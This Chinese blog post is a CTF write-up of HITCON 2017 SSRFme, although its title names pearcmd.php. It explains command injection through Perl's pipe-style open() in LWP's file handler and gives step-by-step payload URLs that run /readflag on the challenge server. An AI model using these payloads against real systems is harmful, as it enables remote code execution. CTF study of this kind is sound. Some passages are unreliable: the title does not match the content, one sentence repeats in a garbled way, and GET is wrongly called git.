利用pearcmd.php从LFI到getshell

470 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第7天,点击查看活动详情

[HITCON 2017]SSRFme

代码审计->尝试ssrf读取到根目录->查询到perl语言中GET命令执行漏洞->构造命令执行payload(注意管道符)->获得flag

知识点:open函数中存在命令执行

例如建立一个a.pl

open(FD, "|id");
print <FD>;

执行一下

uid=1000(kali) gid=1000(kali) 组=1000(kali)

可以发现原本文件名的内容进行了命令执行

接着我们要知道一点:perl里get函数底层用了open函数

因此perl脚本中有GET命令执行漏洞

touch 'id|'
GET 'file:id|'
//uid=0(root) gid=0(root) groups=0(root)

如果open的第二个参数(path)可控,我们就能进行任意代码执行。

而GET对协议处理部分调用的是 /usr/share/perl5/LWP/Protocol下的各个pm模块,通过查询可以发现在file.pm中,path参数是完全可控的。

...
# URL OK, look at file
my $path  = $url->file;


# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");
...

我们就可以通过传入 命令文件名命令来执行

这里多了一个限制条件,就是file.pm会先判断文件是否存在。若存在,才会触发最终的代码执行

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);  // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }


    echo $_SERVER["REMOTE_ADDR"];


    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);   // “REMOTE_ADDR”为正在浏览当前页面用户的 IP 地址。 
    @mkdir($sandbox);
    @chdir($sandbox);     // 改变当前的目录到$sandbox


    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));     // escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数
    $info = pathinfo($_GET["filename"]);  // pathinfo() 函数以数组的形式返回文件路径的信息。
    $dir  = str_replace(".", "", basename($info["dirname"]));   // basename() 函数返回路径中的文件名部分。
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);
    // 以上代码大致为,调用GET(git)命令来执行从url获取的参数,从该url获取内容, 然后按照filename新建文件,写入git到的结果。

代码功能如下:

  1. 输出当前页面用户的ip
  2. 构建md5处理过的目录,切换到当前目录
  3. 执行GET拼接shell命令,内容可控
  4. 将可控内容写入到可控文件中

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

其中get即为上面讲的函数

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。shell 函数包含 exec(),system() 执行运算符(反引号) 定义string escapeshellarg ( string $arg ) 对于用户输入的部分参数就应该使用这个函数

pathinfo() 返回一个关联数组包含有 path 的信息。 包括以下的数组元素

<?php 
print_r(pathinfo("/testweb/test.txt")); 
?> 
输出
Array ( 
[dirname] => /testweb 
[basename] => test.txt
[extension] => txt 
) 

根据源码可以发现php会对传过去的参数用escapeshellarg函数过滤。先创建一个目录sandbox/md5(orange+ip),然后执行GIT GET[url],然后会创建文件夹,并将执行GIT_GET['url'],然后会创建文件夹,并将执行GIT _GET['url']后的结果放在该文件夹下面filename传过去的文件中。

ubuntu18.04 已经修复此漏洞

修复的方式是在下面第三行代码中,open中间加了个参数’<’

# read the file
    if ($method ne "HEAD") {
	open(my $fh, '<' , $path) or return new   //open 函数以只读的方式(<)打开文件
	    HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,
			   "Cannot read file '$path': $!");
	binmode($fh);
	$response =  $self->collect($arg, $response, sub {
	    my $content = "";
	    my $bytes = sysread($fh, $content, $size);
	    return $content if $bytes > 0;
	    return \ "";
	});
	close($fh);
    }

命令执行的结果会被存入我们以filename参数的值命名的文件里

尝试读取根目录,并创建文件名为123的文件

?url=/&filename=123

md5

orange+ip

首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:

?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用GET执行bash -c /readflag保存到111文件

访问sandbox/md5/aaa(得到flag)

 

注意

如果直接/readflag的话,那么会在服务器的根目录创建这个文件,而不是在网站的那个目录,所以是无法命令执行的,所以可以用bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行。直接bash的话好像是只能bash 有sh后缀的文件,所以不能用

综上所述,bash -c 是最好的选择